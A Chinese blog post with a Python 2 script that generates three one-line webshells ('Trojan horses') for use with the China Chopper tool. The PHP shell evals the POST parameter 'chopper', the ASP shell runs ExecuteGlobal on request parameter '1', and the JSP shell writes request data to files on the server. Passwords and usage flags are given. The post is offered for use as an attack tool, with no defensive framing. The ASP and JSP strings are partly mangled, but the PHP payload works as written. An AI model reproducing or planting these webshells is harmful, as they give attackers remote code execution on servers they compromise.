zoukankan      html  css  js  c++  java
  • python写一个能生成三种一句话木马的脚本

    代码:

    import time
    import os
    from threading import Thread
    import optparse
    def aspyijuhua():
        try:
          juy=open('caidao.asp','w')
          asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
          print '[+]Accelerated generation !'
          juy.writelines(asp)
          print '[+]ASP in word ,the Trojan horse is finished .'
          print '[+]Password:1'
        except:
            print '[-]Not generate !'
    
    def phpyijuhua():
        try:
            php=open('caidao.php','w')
            payload="<?php @eval($_POST['chopper']);?>"
            print '[+]Accelerated generation !'
            php.writelines(payload)
            print '[+]PHP in word ,the Trojan horse is finished .'
            print '[+]Password:chopper'
        except:
            print '[-]Not generate !'
    
    def jspyijuhua():
        try:
            jsp=open('caidao.jsp','w')
            payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
            print '[+]Accelerated generation !'
            jsp.writelines(payload)
            print '[+]JSP in word ,the Trojan horse is finished .'
        except:
            print '[-]Not generate !'
    def editon():
        print '-a ASP in word ,the Trojan horse is finished .'
        print '-p PHP in word ,the Trojan horse is finished .'
        print '-j JSP in word ,the Trojan horse is finished .'
        print 'Editon v.1.0'
        print 'What is your Haq me, Whatever you do love you'
    
    def main():
      parser=optparse.OptionParser()
      parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
      parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
      parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
      parser.add_option('-v',action='store_true',dest='help',help='Editon')
      (options,args)=parser.parse_args()
      if options.asp:
        a=Thread(target=aspyijuhua,args=())
        a.start()
      if options.php:
        px=Thread(target=phpyijuhua,args=())
        px.start()
      if options.jsp:
        j=Thread(target=jspyijuhua,args=())
        j.start()
      if options.help:
        h=Thread(target=editon(),args=())
        h.start()
    
    if __name__ == '__main__':
        main()
    

      运行截图:

    命令:

    -h 帮助

    -a 生成asp一句话马

    -p 生成php一句话木马

    -j 生成jsp一句话木马

    -v 版本

  • 相关阅读:
    查找整数
    Ling To Xml 学习之 对xml增、删、改、查
    JS获得鼠标
    xml之数据岛绑定到表格
    C# 三种序列化[转]
    编程字体
    Oracle 、C#
    提示信息Javascript
    几个好用的日历控件
    收藏网站
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8427628.html
Copyright © 2011-2022 走看看